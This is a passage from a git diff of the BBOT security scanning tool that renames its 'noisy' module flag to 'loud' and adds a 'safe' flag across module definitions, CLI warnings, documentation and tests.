2 +- bbot/modules/github_org.py | 2 +- bbot/modules/github_usersearch.py | 2 +- bbot/modules/github_workflows.py | 2 +- bbot/modules/gitlab_com.py | 2 +- bbot/modules/gitlab_onprem.py | 2 +- bbot/modules/google_playstore.py | 2 +- bbot/modules/gowitness.py | 2 +- bbot/modules/graphql_introspection.py | 2 +- bbot/modules/hackertarget.py | 2 +- bbot/modules/host_header.py | 2 +- bbot/modules/httpx.py | 2 +- bbot/modules/hunt.py | 2 +- bbot/modules/hunterio.py | 2 +- bbot/modules/iis_shortnames.py | 2 +- bbot/modules/internal/aggregate.py | 2 +- bbot/modules/internal/excavate.py | 2 +- bbot/modules/internal/speculate.py | 2 +- bbot/modules/internal/unarchive.py | 2 +- bbot/modules/ip2location.py | 2 +- bbot/modules/ipneighbor.py | 2 +- bbot/modules/ipstack.py | 2 +- bbot/modules/jadx.py | 2 +- bbot/modules/kreuzberg.py | 2 +- bbot/modules/leakix.py | 2 +- bbot/modules/legba.py | 2 +- bbot/modules/lightfuzz/lightfuzz.py | 2 +- bbot/modules/medusa.py | 2 +- bbot/modules/myssl.py | 2 +- bbot/modules/newsletters.py | 2 +- bbot/modules/ntlm.py | 2 +- bbot/modules/nuclei.py | 2 +- bbot/modules/oauth.py | 2 +- bbot/modules/otx.py | 2 +- bbot/modules/output/emails.py | 2 +- bbot/modules/output/subdomains.py | 2 +- bbot/modules/paramminer_cookies.py | 2 +- bbot/modules/paramminer_getparams.py | 2 +- bbot/modules/paramminer_headers.py | 2 +- bbot/modules/passivetotal.py | 2 +- bbot/modules/pgp.py | 2 +- bbot/modules/portfilter.py | 2 +- bbot/modules/portscan.py | 2 +- bbot/modules/postman.py | 2 +- bbot/modules/postman_download.py | 2 +- bbot/modules/rapiddns.py | 2 +- bbot/modules/reflected_parameters.py | 2 +- bbot/modules/report/affiliates.py | 2 +- bbot/modules/report/asn.py | 2 +- bbot/modules/retirejs.py | 2 +- bbot/modules/robots.py | 2 +- bbot/modules/securitytrails.py | 2 +- bbot/modules/securitytxt.py | 2 +- bbot/modules/shodan_dns.py | 2 +- bbot/modules/shodan_enterprise.py | 2 +- bbot/modules/shodan_idb.py | 2 +- bbot/modules/sitedossier.py | 2 +- bbot/modules/skymem.py | 2 +- bbot/modules/smuggler.py | 2 +- bbot/modules/social.py | 2 +- bbot/modules/sslcert.py | 2 +- bbot/modules/subdomaincenter.py | 2 +- bbot/modules/subdomainradar.py | 2 +- bbot/modules/telerik.py | 2 +- bbot/modules/trajan.py | 2 +- bbot/modules/trickest.py | 2 +- bbot/modules/trufflehog.py | 2 +- bbot/modules/url_manipulation.py | 2 +- bbot/modules/urlscan.py | 2 +- bbot/modules/viewdns.py | 2 +- bbot/modules/virustotal.py | 2 +- bbot/modules/wafw00f.py | 2 +- bbot/modules/wayback.py | 2 +- bbot/modules/wpscan.py | 2 +- bbot/scanner/preset/args.py | 2 +- bbot/test/test_step_1/test_cli.py | 6 +- bbot/test/test_step_1/test_modules_basic.py | 10 + bbot/test/test_step_1/test_presets.py | 24 +- docs/dev/module_howto.md | 2 +- docs/modules/lightfuzz.md | 2 +- docs/modules/list_of_modules.md | 304 ++++++++++---------- docs/modules/nuclei.md | 2 +- docs/scanning/advanced.md | 2 +- docs/scanning/configuration.md | 8 +- docs/scanning/index.md | 53 ++-- docs/scanning/presets_list.md | 42 ++- 138 files changed, 384 insertions(+), 339 deletions(-) diff --git a/AGENTS.md b/AGENTS.md index 7a7080f22f..88e017d24f 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -275,11 +275,12 @@ produced_events = ["OPEN_TCP_PORT"] ``` ##### `flags` (list) -Tags that describe the module's behavior. Must include at least one activity flag (`passive` or `active`). Optionally, `noisy` (lots of traffic) or `invasive` (intrusive/destructive) can be added. +Tags that describe the module's behavior. Must include at least one activity flag (`passive` or `active`). Must also include `safe`, `loud`, or `invasive` (or a combination of `loud` and `invasive`). Common flags: - `passive` / `active` - whether the module touches the target directly -- `noisy` - generates a large amount of network traffic +- `safe` - non-intrusive and non-destructive +- `loud` - generates a large amount of network traffic - `invasive` - intrusive or potentially destructive - `subdomain-enum` - participates in subdomain enumeration - `web` - basic web scanning diff --git a/bbot/cli.py b/bbot/cli.py index 38716ceb6d..1985b2a9eb 100755 --- a/bbot/cli.py +++ b/bbot/cli.py @@ -231,18 +231,18 @@ async def _main(): f'YOUR TARGET CONTAINS A CLOUD DOMAIN: "{event.host}". You\'re in for a wild ride!' ) - # warn about noisy/invasive modules - noisy_modules = [] + # warn about loud/invasive modules + loud_modules = [] invasive_modules = [] for m in scan.preset.scan_modules: flags = scan.preset.preloaded_module(m).get("flags", []) - if "noisy" in flags: - noisy_modules.append(m) + if "loud" in flags: + loud_modules.append(m) if "invasive" in flags: invasive_modules.append(m) - if noisy_modules: + if loud_modules: log.hugewarning( - f"NOISY modules enabled: {','.join(noisy_modules)}. These generate a lot of traffic. To exclude, use -ef noisy" + f"LOUD modules enabled: {','.join(loud_modules)}. These generate a lot of traffic. To exclude, use -ef loud" ) if invasive_modules: log.hugewarning( diff --git a/bbot/core/flags.py b/bbot/core/flags.py index b9543ff07a..26ee48f840 100644 --- a/bbot/core/flags.py +++ b/bbot/core/flags.py @@ -8,8 +8,9 @@ "email-enum": "Enumerates email addresses", "iis-shortnames": "Scans for IIS Shortname vulnerability", "invasive": "Intrusive or potentially destructive", - "noisy": "Generates a large amount of network traffic", + "loud": "Generates a large amount of network traffic", "passive": "Never connects to target systems", + "safe": "Non-intrusive and non-destructive", "portscan": "Discovers open ports", "report": "Generates a report at the end of the scan", "service-enum": "Identifies protocols running on open ports", diff --git a/bbot/modules/ajaxpro.py b/bbot/modules/ajaxpro.py index bbe7abf699..aeae3e812c 100644 --- a/bbot/modules/ajaxpro.py +++ b/bbot/modules/ajaxpro.py @@ -11,7 +11,7 @@ class ajaxpro(BaseModule): ajaxpro_regex = re.compile(r' str: class legba(BaseModule): watched_events = ["PROTOCOL"] produced_events = ["FINDING"] - flags = ["active", "noisy", "invasive"] + flags = ["active", "loud", "invasive"] per_hostport_only = True meta = { "description": "Credential bruteforcing supporting various services.", diff --git a/bbot/modules/lightfuzz/lightfuzz.py b/bbot/modules/lightfuzz/lightfuzz.py index 30cc08fc33..2f98059e43 100644 --- a/bbot/modules/lightfuzz/lightfuzz.py +++ b/bbot/modules/lightfuzz/lightfuzz.py @@ -7,7 +7,7 @@ class lightfuzz(BaseModule): watched_events = ["URL", "WEB_PARAMETER"] produced_events = ["FINDING"] - flags = ["active", "noisy", "web-heavy", "invasive"] + flags = ["active", "loud", "web-heavy", "invasive"] options = { "force_common_headers": False, diff --git a/bbot/modules/medusa.py b/bbot/modules/medusa.py index deabb62afd..a3f8cebd85 100644 --- a/bbot/modules/medusa.py +++ b/bbot/modules/medusa.py @@ -5,7 +5,7 @@ class medusa(BaseModule): watched_events = ["PROTOCOL"] produced_events = ["FINDING"] - flags = ["active", "noisy", "invasive"] + flags = ["active", "loud", "invasive"] per_host_only = True meta = { "description": "Medusa SNMP bruteforcing with v1, v2c and R/W check.", diff --git a/bbot/modules/myssl.py b/bbot/modules/myssl.py index e9240553ec..82aabc6b99 100644 --- a/bbot/modules/myssl.py +++ b/bbot/modules/myssl.py @@ -2,7 +2,7 @@ class myssl(subdomain_enum): - flags = ["subdomain-enum", "passive"] + flags = ["safe", "subdomain-enum", "passive"] watched_events = ["DNS_NAME"] produced_events = ["DNS_NAME"] meta = { diff --git a/bbot/modules/newsletters.py b/bbot/modules/newsletters.py index c49cf12235..e6d8626fd4 100644 --- a/bbot/modules/newsletters.py +++ b/bbot/modules/newsletters.py @@ -18,7 +18,7 @@ class newsletters(BaseModule): watched_events = ["HTTP_RESPONSE"] produced_events = ["FINDING"] - flags = ["active"] + flags = ["safe", "active"] meta = { "description": "Searches for Newsletter Submission Entry Fields on Websites", "created_date": "2024-02-02", diff --git a/bbot/modules/ntlm.py b/bbot/modules/ntlm.py index 3a1feb2e3b..164f26efd5 100644 --- a/bbot/modules/ntlm.py +++ b/bbot/modules/ntlm.py @@ -68,7 +68,7 @@ class ntlm(BaseModule): watched_events = ["URL", "HTTP_RESPONSE"] produced_events = ["FINDING", "DNS_NAME"] - flags = ["active", "web"] + flags = ["safe", "active", "web"] meta = { "description": "Watch for HTTP endpoints that support NTLM authentication", "created_date": "2022-07-25", diff --git a/bbot/modules/nuclei.py b/bbot/modules/nuclei.py index 659acd60fb..b7fa504ed6 100644 --- a/bbot/modules/nuclei.py +++ b/bbot/modules/nuclei.py @@ -7,7 +7,7 @@ class nuclei(BaseModule): watched_events = ["URL"] produced_events = ["FINDING", "TECHNOLOGY"] - flags = ["active", "noisy", "invasive"] + flags = ["active", "loud", "invasive"] meta = { "description": "Fast and customisable vulnerability scanner", "created_date": "2022-03-12", diff --git a/bbot/modules/oauth.py b/bbot/modules/oauth.py index 5943d64c62..dcd758f9b7 100644 --- a/bbot/modules/oauth.py +++ b/bbot/modules/oauth.py @@ -6,7 +6,7 @@ class OAUTH(BaseModule): watched_events = ["DNS_NAME", "URL_UNVERIFIED"] produced_events = ["DNS_NAME"] - flags = ["affiliates", "subdomain-enum", "cloud-enum", "web", "active"] + flags = ["safe", "affiliates", "subdomain-enum", "cloud-enum", "web", "active"] meta = { "description": "Enumerate OAUTH and OpenID Connect services", "created_date": "2023-07-12", diff --git a/bbot/modules/otx.py b/bbot/modules/otx.py index 77565d078a..a22a5636b5 100644 --- a/bbot/modules/otx.py +++ b/bbot/modules/otx.py @@ -2,7 +2,7 @@ class otx(subdomain_enum_apikey): - flags = ["subdomain-enum", "passive"] + flags = ["safe", "subdomain-enum", "passive"] watched_events = ["DNS_NAME"] produced_events = ["DNS_NAME"] meta = { diff --git a/bbot/modules/output/emails.py b/bbot/modules/output/emails.py index 60d9a153c5..ea0892d3c6 100644 --- a/bbot/modules/output/emails.py +++ b/bbot/modules/output/emails.py @@ -4,7 +4,7 @@ class Emails(TXT): watched_events = ["EMAIL_ADDRESS"] - flags = ["email-enum"] + flags = ["safe", "email-enum"] meta = { "description": "Output any email addresses found belonging to the target domain", "created_date": "2023-12-23", diff --git a/bbot/modules/output/subdomains.py b/bbot/modules/output/subdomains.py index 6c2bfb0b02..0deec52cf3 100644 --- a/bbot/modules/output/subdomains.py +++ b/bbot/modules/output/subdomains.py @@ -4,7 +4,7 @@ class Subdomains(TXT): watched_events = ["DNS_NAME", "DNS_NAME_UNRESOLVED"] - flags = ["subdomain-enum"] + flags = ["safe", "subdomain-enum"] meta = { "description": "Output only resolved, in-scope subdomains", "created_date": "2023-07-31", diff --git a/bbot/modules/paramminer_cookies.py b/bbot/modules/paramminer_cookies.py index 4ef8ca8adc..871238d803 100644 --- a/bbot/modules/paramminer_cookies.py +++ b/bbot/modules/paramminer_cookies.py @@ -8,7 +8,7 @@ class paramminer_cookies(paramminer_headers): watched_events = ["HTTP_RESPONSE", "WEB_PARAMETER"] produced_events = ["WEB_PARAMETER"] - flags = ["active", "noisy", "slow", "web-paramminer"] + flags = ["active", "loud", "slow", "web-paramminer"] meta = { "description": "Smart brute-force to check for common HTTP cookie parameters", "created_date": "2022-06-27", diff --git a/bbot/modules/paramminer_getparams.py b/bbot/modules/paramminer_getparams.py index a672201f0c..27a99f8ab4 100644 --- a/bbot/modules/paramminer_getparams.py +++ b/bbot/modules/paramminer_getparams.py @@ -8,7 +8,7 @@ class paramminer_getparams(paramminer_headers): watched_events = ["HTTP_RESPONSE", "WEB_PARAMETER"] produced_events = ["WEB_PARAMETER"] - flags = ["active", "noisy", "slow", "web-paramminer"] + flags = ["active", "loud", "slow", "web-paramminer"] meta = { "description": "Use smart brute-force to check for common HTTP GET parameters", "created_date": "2022-06-28", diff --git a/bbot/modules/paramminer_headers.py b/bbot/modules/paramminer_headers.py index 8be8c066f2..612a3b4128 100644 --- a/bbot/modules/paramminer_headers.py +++ b/bbot/modules/paramminer_headers.py @@ -11,7 +11,7 @@ class paramminer_headers(BaseModule): watched_events = ["HTTP_RESPONSE", "WEB_PARAMETER"] produced_events = ["WEB_PARAMETER"] - flags = ["active", "noisy", "slow", "web-paramminer"] + flags = ["active", "loud", "slow", "web-paramminer"] meta = { "description": "Use smart brute-force to check for common HTTP header parameters", "created_date": "2022-04-15", diff --git a/bbot/modules/passivetotal.py b/bbot/modules/passivetotal.py index 69c3f588b7..1010980945 100644 --- a/bbot/modules/passivetotal.py +++ b/bbot/modules/passivetotal.py @@ -4,7 +4,7 @@ class passivetotal(subdomain_enum_apikey): watched_events = ["DNS_NAME"] produced_events = ["DNS_NAME"] - flags = ["subdomain-enum", "passive"] + flags = ["safe", "subdomain-enum", "passive"] meta = { "description": "Query the PassiveTotal API for subdomains", "created_date": "2022-08-08", diff --git a/bbot/modules/pgp.py b/bbot/modules/pgp.py index f56c3d0f38..3374dac0c7 100644 --- a/bbot/modules/pgp.py +++ b/bbot/modules/pgp.py @@ -4,7 +4,7 @@ class pgp(subdomain_enum): watched_events = ["DNS_NAME"] produced_events = ["EMAIL_ADDRESS"] - flags = ["passive", "email-enum"] + flags = ["safe", "passive", "email-enum"] meta = { "description": "Query common PGP servers for email addresses", "created_date": "2022-08-10", diff --git a/bbot/modules/portfilter.py b/bbot/modules/portfilter.py index b22481aace..85cd2f83ea 100644 --- a/bbot/modules/portfilter.py +++ b/bbot/modules/portfilter.py @@ -3,7 +3,7 @@ class portfilter(BaseInterceptModule): watched_events = ["OPEN_TCP_PORT", "URL_UNVERIFIED", "URL"] - flags = ["passive"] + flags = ["safe", "passive"] meta = { "description": "Filter out unwanted open ports from cloud/CDN targets", "created_date": "2025-01-06", diff --git a/bbot/modules/portscan.py b/bbot/modules/portscan.py index 1d5ba26f08..ac92d1f447 100644 --- a/bbot/modules/portscan.py +++ b/bbot/modules/portscan.py @@ -10,7 +10,7 @@ class portscan(BaseModule): - flags = ["active", "portscan"] + flags = ["safe", "active", "portscan"] watched_events = ["IP_ADDRESS", "IP_RANGE", "DNS_NAME"] produced_events = ["OPEN_TCP_PORT"] meta = { diff --git a/bbot/modules/postman.py b/bbot/modules/postman.py index 1ba8026e7f..ee0bf25cd2 100644 --- a/bbot/modules/postman.py +++ b/bbot/modules/postman.py @@ -4,7 +4,7 @@ class postman(postman): watched_events = ["ORG_STUB", "SOCIAL"] produced_events = ["CODE_REPOSITORY"] - flags = ["passive", "subdomain-enum", "code-enum"] + flags = ["safe", "passive", "subdomain-enum", "code-enum"] meta = { "description": "Query Postman's API for related workspaces, collections, requests and download them", "created_date": "2024-09-07", diff --git a/bbot/modules/postman_download.py b/bbot/modules/postman_download.py index 92e43a26c9..77644435ad 100644 --- a/bbot/modules/postman_download.py +++ b/bbot/modules/postman_download.py @@ -7,7 +7,7 @@ class postman_download(postman): watched_events = ["CODE_REPOSITORY"] produced_events = ["FILESYSTEM"] - flags = ["passive", "subdomain-enum", "code-enum", "download"] + flags = ["safe", "passive", "subdomain-enum", "code-enum", "download"] meta = { "description": "Download workspaces, collections, requests from Postman", "created_date": "2024-09-07", diff --git a/bbot/modules/rapiddns.py b/bbot/modules/rapiddns.py index ca6fef6d06..1e0667b70e 100644 --- a/bbot/modules/rapiddns.py +++ b/bbot/modules/rapiddns.py @@ -2,7 +2,7 @@ class rapiddns(subdomain_enum): - flags = ["subdomain-enum", "passive"] + flags = ["safe", "subdomain-enum", "passive"] watched_events = ["DNS_NAME"] produced_events = ["DNS_NAME"] meta = { diff --git a/bbot/modules/reflected_parameters.py b/bbot/modules/reflected_parameters.py index a6b051ec8b..460d1f96f9 100644 --- a/bbot/modules/reflected_parameters.py +++ b/bbot/modules/reflected_parameters.py @@ -4,7 +4,7 @@ class reflected_parameters(BaseModule): watched_events = ["WEB_PARAMETER"] produced_events = ["FINDING"] - flags = ["active", "web-heavy"] + flags = ["safe", "active", "web-heavy"] meta = { "description": "Highlight parameters that reflect their contents in response body", "author": "@liquidsec", diff --git a/bbot/modules/report/affiliates.py b/bbot/modules/report/affiliates.py index 12903c2716..59ca9a25b0 100644 --- a/bbot/modules/report/affiliates.py +++ b/bbot/modules/report/affiliates.py @@ -4,7 +4,7 @@ class affiliates(BaseReportModule): watched_events = ["*"] produced_events = [] - flags = ["passive", "affiliates"] + flags = ["safe", "passive", "affiliates"] meta = { "description": "Summarize affiliate domains at the end of a scan", "created_date": "2022-07-25", diff --git a/bbot/modules/report/asn.py b/bbot/modules/report/asn.py index 364aec283a..66f414c659 100644 --- a/bbot/modules/report/asn.py +++ b/bbot/modules/report/asn.py @@ -5,7 +5,7 @@ class asn(BaseReportModule): watched_events = ["IP_ADDRESS"] produced_events = ["ASN"] - flags = ["passive", "subdomain-enum"] + flags = ["safe", "passive", "subdomain-enum"] meta = { "description": "Query asndb for ASN information", "created_date": "2022-07-25", diff --git a/bbot/modules/retirejs.py b/bbot/modules/retirejs.py index f4ef1e7546..7706dc6604 100644 --- a/bbot/modules/retirejs.py +++ b/bbot/modules/retirejs.py @@ -21,7 +21,7 @@ def from_string(cls, severity_str): class retirejs(BaseModule): watched_events = ["URL_UNVERIFIED"] produced_events = ["FINDING"] - flags = ["active", "web-heavy"] + flags = ["safe", "active", "web-heavy"] meta = { "description": "Detect vulnerable/out-of-date JavaScript libraries", "created_date": "2025-08-19", diff --git a/bbot/modules/robots.py b/bbot/modules/robots.py index 45edbeb334..daf7308b61 100644 --- a/bbot/modules/robots.py +++ b/bbot/modules/robots.py @@ -4,7 +4,7 @@ class robots(BaseModule): watched_events = ["URL"] produced_events = ["URL_UNVERIFIED"] - flags = ["active", "web"] + flags = ["safe", "active", "web"] meta = {"description": "Look for and parse robots.txt", "created_date": "2023-02-01", "author": "@liquidsec"} options = {"include_sitemap": False, "include_allow": True, "include_disallow": True} diff --git a/bbot/modules/securitytrails.py b/bbot/modules/securitytrails.py index 7abe6450d3..7ab333ee76 100644 --- a/bbot/modules/securitytrails.py +++ b/bbot/modules/securitytrails.py @@ -4,7 +4,7 @@ class securitytrails(subdomain_enum_apikey): watched_events = ["DNS_NAME"] produced_events = ["DNS_NAME"] - flags = ["subdomain-enum", "passive"] + flags = ["safe", "subdomain-enum", "passive"] meta = { "description": "Query the SecurityTrails API for subdomains", "created_date": "2022-07-03", diff --git a/bbot/modules/securitytxt.py b/bbot/modules/securitytxt.py index 63de690f59..d8d3d4aea2 100644 --- a/bbot/modules/securitytxt.py +++ b/bbot/modules/securitytxt.py @@ -58,7 +58,7 @@ class securitytxt(BaseModule): watched_events = ["DNS_NAME"] produced_events = ["EMAIL_ADDRESS", "URL_UNVERIFIED"] - flags = ["subdomain-enum", "cloud-enum", "active", "web"] + flags = ["safe", "subdomain-enum", "cloud-enum", "active", "web"] meta = { "description": "Check for security.txt content", "author": "@colin-stubbs", diff --git a/bbot/modules/shodan_dns.py b/bbot/modules/shodan_dns.py index e4fe1d6ea4..4e68ed11d4 100644 --- a/bbot/modules/shodan_dns.py +++ b/bbot/modules/shodan_dns.py @@ -4,7 +4,7 @@ class shodan_dns(shodan): watched_events = ["DNS_NAME"] produced_events = ["DNS_NAME"] - flags = ["subdomain-enum", "passive"] + flags = ["safe", "subdomain-enum", "passive"] meta = { "description": "Query Shodan for subdomains", "created_date": "2022-07-03", diff --git a/bbot/modules/shodan_enterprise.py b/bbot/modules/shodan_enterprise.py index 74fb8eabfe..273fe837da 100644 --- a/bbot/modules/shodan_enterprise.py +++ b/bbot/modules/shodan_enterprise.py @@ -4,7 +4,7 @@ class shodan_enterprise(BaseModule): watched_events = ["IP_ADDRESS"] produced_events = ["OPEN_TCP_PORT", "TECHNOLOGY", "OPEN_UDP_PORT", "FINDING"] - flags = ["passive"] + flags = ["safe", "passive"] meta = { "created_date": "2026-01-27", "author": "@Control-Punk-Delete", diff --git a/bbot/modules/shodan_idb.py b/bbot/modules/shodan_idb.py index 4bad9cb6e5..1e7ffe826f 100644 --- a/bbot/modules/shodan_idb.py +++ b/bbot/modules/shodan_idb.py @@ -41,7 +41,7 @@ class shodan_idb(BaseModule): watched_events = ["IP_ADDRESS", "DNS_NAME"] produced_events = ["TECHNOLOGY", "FINDING", "OPEN_TCP_PORT", "DNS_NAME"] - flags = ["passive", "portscan", "subdomain-enum"] + flags = ["safe", "passive", "portscan", "subdomain-enum"] meta = { "description": "Query Shodan's InternetDB for open ports, hostnames, technologies, and vulnerabilities", "created_date": "2023-12-22", diff --git a/bbot/modules/sitedossier.py b/bbot/modules/sitedossier.py index 128e9198be..86f0b322d0 100644 --- a/bbot/modules/sitedossier.py +++ b/bbot/modules/sitedossier.py @@ -2,7 +2,7 @@ class sitedossier(subdomain_enum): - flags = ["subdomain-enum", "passive"] + flags = ["safe", "subdomain-enum", "passive"] watched_events = ["DNS_NAME"] produced_events = ["DNS_NAME"] meta = { diff --git a/bbot/modules/skymem.py b/bbot/modules/skymem.py index 6987e1e19d..84b34073fe 100644 --- a/bbot/modules/skymem.py +++ b/bbot/modules/skymem.py @@ -6,7 +6,7 @@ class skymem(emailformat): watched_events = ["DNS_NAME"] produced_events = ["EMAIL_ADDRESS"] - flags = ["passive", "email-enum"] + flags = ["safe", "passive", "email-enum"] meta = { "description": "Query skymem.info for email addresses", "created_date": "2022-07-11", diff --git a/bbot/modules/smuggler.py b/bbot/modules/smuggler.py index ff13ea494c..0096486470 100644 --- a/bbot/modules/smuggler.py +++ b/bbot/modules/smuggler.py @@ -11,7 +11,7 @@ class smuggler(BaseModule): watched_events = ["URL"] produced_events = ["FINDING"] - flags = ["active", "noisy", "invasive", "slow", "web-heavy"] + flags = ["active", "loud", "invasive", "slow", "web-heavy"] meta = {"description": "Check for HTTP smuggling", "created_date": "2022-07-06", "author": "@liquidsec"} in_scope_only = True diff --git a/bbot/modules/social.py b/bbot/modules/social.py index fd05452943..13144ad809 100644 --- a/bbot/modules/social.py +++ b/bbot/modules/social.py @@ -10,7 +10,7 @@ class social(BaseModule): "created_date": "2023-03-28", "author": "@TheTechromancer", } - flags = ["passive", "social-enum"] + flags = ["safe", "passive", "social-enum"] # platform name : (regex, case_sensitive) social_media_platforms = { diff --git a/bbot/modules/sslcert.py b/bbot/modules/sslcert.py index 965bad8d19..a63fd1044b 100644 --- a/bbot/modules/sslcert.py +++ b/bbot/modules/sslcert.py @@ -11,7 +11,7 @@ class sslcert(BaseModule): watched_events = ["OPEN_TCP_PORT"] produced_events = ["DNS_NAME", "EMAIL_ADDRESS"] - flags = ["affiliates", "subdomain-enum", "email-enum", "active", "web"] + flags = ["safe", "affiliates", "subdomain-enum", "email-enum", "active", "web"] meta = { "description": "Visit open ports and retrieve SSL certificates", "created_date": "2022-03-30", diff --git a/bbot/modules/subdomaincenter.py b/bbot/modules/subdomaincenter.py index e025c31bb7..7079d5942d 100644 --- a/bbot/modules/subdomaincenter.py +++ b/bbot/modules/subdomaincenter.py @@ -2,7 +2,7 @@ class subdomaincenter(subdomain_enum): - flags = ["subdomain-enum", "passive"] + flags = ["safe", "subdomain-enum", "passive"] watched_events = ["DNS_NAME"] produced_events = ["DNS_NAME"] meta = { diff --git a/bbot/modules/subdomainradar.py b/bbot/modules/subdomainradar.py index a3f7981afe..b642579745 100644 --- a/bbot/modules/subdomainradar.py +++ b/bbot/modules/subdomainradar.py @@ -7,7 +7,7 @@ class SubdomainRadar(subdomain_enum_apikey): watched_events = ["DNS_NAME"] produced_events = ["DNS_NAME"] - flags = ["subdomain-enum", "passive"] + flags = ["safe", "subdomain-enum", "passive"] meta = { "description": "Query the Subdomain API for subdomains", "created_date": "2022-07-08", diff --git a/bbot/modules/telerik.py b/bbot/modules/telerik.py index 18673342cb..bee0ebebb3 100644 --- a/bbot/modules/telerik.py +++ b/bbot/modules/telerik.py @@ -21,7 +21,7 @@ class telerik(BaseModule): watched_events = ["URL", "HTTP_RESPONSE"] produced_events = ["FINDING"] - flags = ["active", "noisy", "invasive", "web-heavy"] + flags = ["active", "loud", "invasive", "web-heavy"] meta = { "description": "Scan for critical Telerik vulnerabilities", "created_date": "2022-04-10", diff --git a/bbot/modules/trajan.py b/bbot/modules/trajan.py index a9ee8c7be6..dec96d94fa 100644 --- a/bbot/modules/trajan.py +++ b/bbot/modules/trajan.py @@ -7,7 +7,7 @@ class trajan(BaseModule): watched_events = ["CODE_REPOSITORY", "URL_UNVERIFIED", "TECHNOLOGY"] produced_events = ["FINDING"] - flags = ["passive", "code-enum"] + flags = ["safe", "passive", "code-enum"] meta = { "description": "Scans GitHub, GitLab, Azure DevOps, Jenkins, and JFrog for misconfigurations using Praetorian's Trajan tool", "created_date": "2026-04-11", diff --git a/bbot/modules/trickest.py b/bbot/modules/trickest.py index 7e6e6be278..7cbbfda3c4 100644 --- a/bbot/modules/trickest.py +++ b/bbot/modules/trickest.py @@ -4,7 +4,7 @@ class Trickest(subdomain_enum_apikey): watched_events = ["DNS_NAME"] produced_events = ["DNS_NAME"] - flags = ["affiliates", "subdomain-enum", "passive"] + flags = ["safe", "affiliates", "subdomain-enum", "passive"] meta = { "description": "Query Trickest's API for subdomains", "author": "@amiremami", diff --git a/bbot/modules/trufflehog.py b/bbot/modules/trufflehog.py index 33f652d12a..21a233262a 100644 --- a/bbot/modules/trufflehog.py +++ b/bbot/modules/trufflehog.py @@ -6,7 +6,7 @@ class trufflehog(BaseModule): watched_events = ["CODE_REPOSITORY", "FILESYSTEM", "HTTP_RESPONSE", "RAW_TEXT"] produced_events = ["FINDING"] - flags = ["passive", "code-enum"] + flags = ["safe", "passive", "code-enum"] meta = { "description": "TruffleHog is a tool for finding credentials", "created_date": "2024-03-12", diff --git a/bbot/modules/url_manipulation.py b/bbot/modules/url_manipulation.py index 0e8a9ab25a..1bb83eef16 100644 --- a/bbot/modules/url_manipulation.py +++ b/bbot/modules/url_manipulation.py @@ -5,7 +5,7 @@ class url_manipulation(BaseModule): watched_events = ["URL"] produced_events = ["FINDING"] - flags = ["active", "noisy", "web-heavy"] + flags = ["active", "loud", "web-heavy"] meta = { "description": "Attempt to identify URL parsing/routing based vulnerabilities", "created_date": "2022-09-27", diff --git a/bbot/modules/urlscan.py b/bbot/modules/urlscan.py index 1df82cad7c..975af786a4 100644 --- a/bbot/modules/urlscan.py +++ b/bbot/modules/urlscan.py @@ -2,7 +2,7 @@ class urlscan(subdomain_enum): - flags = ["subdomain-enum", "passive"] + flags = ["safe", "subdomain-enum", "passive"] watched_events = ["DNS_NAME"] produced_events = ["DNS_NAME", "URL_UNVERIFIED"] meta = { diff --git a/bbot/modules/viewdns.py b/bbot/modules/viewdns.py index 11e558d1cf..f57bfaf7c3 100644 --- a/bbot/modules/viewdns.py +++ b/bbot/modules/viewdns.py @@ -10,7 +10,7 @@ class viewdns(BaseModule): watched_events = ["DNS_NAME"] produced_events = ["DNS_NAME"] - flags = ["affiliates", "passive"] + flags = ["safe", "affiliates", "passive"] meta = { "description": "Query viewdns.info's reverse whois for related domains", "created_date": "2022-07-04", diff --git a/bbot/modules/virustotal.py b/bbot/modules/virustotal.py index a480ba029b..75766b38d8 100644 --- a/bbot/modules/virustotal.py +++ b/bbot/modules/virustotal.py @@ -4,7 +4,7 @@ class virustotal(subdomain_enum_apikey): watched_events = ["DNS_NAME"] produced_events = ["DNS_NAME"] - flags = ["subdomain-enum", "passive"] + flags = ["safe", "subdomain-enum", "passive"] meta = { "description": "Query VirusTotal's API for subdomains", "created_date": "2022-08-25", diff --git a/bbot/modules/wafw00f.py b/bbot/modules/wafw00f.py index 4cdc010956..6063a3be33 100644 --- a/bbot/modules/wafw00f.py +++ b/bbot/modules/wafw00f.py @@ -15,7 +15,7 @@ class wafw00f(BaseModule): watched_events = ["URL"] produced_events = ["WAF"] - flags = ["active", "noisy"] + flags = ["active", "loud"] meta = { "description": "Web Application Firewall Fingerprinting Tool", "created_date": "2023-02-15", diff --git a/bbot/modules/wayback.py b/bbot/modules/wayback.py index 5ee17bd5cd..db1d7b3e67 100644 --- a/bbot/modules/wayback.py +++ b/bbot/modules/wayback.py @@ -4,7 +4,7 @@ class wayback(subdomain_enum): - flags = ["passive", "subdomain-enum"] + flags = ["safe", "passive", "subdomain-enum"] watched_events = ["DNS_NAME"] produced_events = ["URL_UNVERIFIED", "DNS_NAME"] meta = { diff --git a/bbot/modules/wpscan.py b/bbot/modules/wpscan.py index 8db905b2a8..b7a703b90d 100644 --- a/bbot/modules/wpscan.py +++ b/bbot/modules/wpscan.py @@ -5,7 +5,7 @@ class wpscan(BaseModule): watched_events = ["HTTP_RESPONSE", "TECHNOLOGY"] produced_events = ["URL_UNVERIFIED", "FINDING", "TECHNOLOGY"] - flags = ["active", "noisy"] + flags = ["active", "loud"] meta = { "description": "Wordpress security scanner. Highly recommended to use an API key for better results.", "created_date": "2024-05-29", diff --git a/bbot/scanner/preset/args.py b/bbot/scanner/preset/args.py index a138121569..ffda0de2a5 100644 --- a/bbot/scanner/preset/args.py +++ b/bbot/scanner/preset/args.py @@ -290,7 +290,7 @@ def create_parser(self, *args, **kwargs): "--exclude-flags", nargs="+", default=[], - help="Disable modules with these flags. (e.g. -ef noisy)", + help="Disable modules with these flags. (e.g. -ef loud)", metavar="FLAG", ) diff --git a/bbot/test/test_step_1/test_cli.py b/bbot/test/test_step_1/test_cli.py index a840fbbdea..9824bd3fee 100644 --- a/bbot/test/test_step_1/test_cli.py +++ b/bbot/test/test_step_1/test_cli.py @@ -251,7 +251,7 @@ async def test_cli_args(monkeypatch, caplog, capsys, clean_default_config): result = await cli._main() out, err = capsys.readouterr() assert result is None - assert "| noisy " in out + assert "| loud " in out assert "| active " in out assert "| passive " in out @@ -265,11 +265,11 @@ async def test_cli_args(monkeypatch, caplog, capsys, clean_default_config): assert "| passive " not in out # list multiple flags - monkeypatch.setattr("sys.argv", ["bbot", "-f", "active", "noisy", "--list-flags"]) + monkeypatch.setattr("sys.argv", 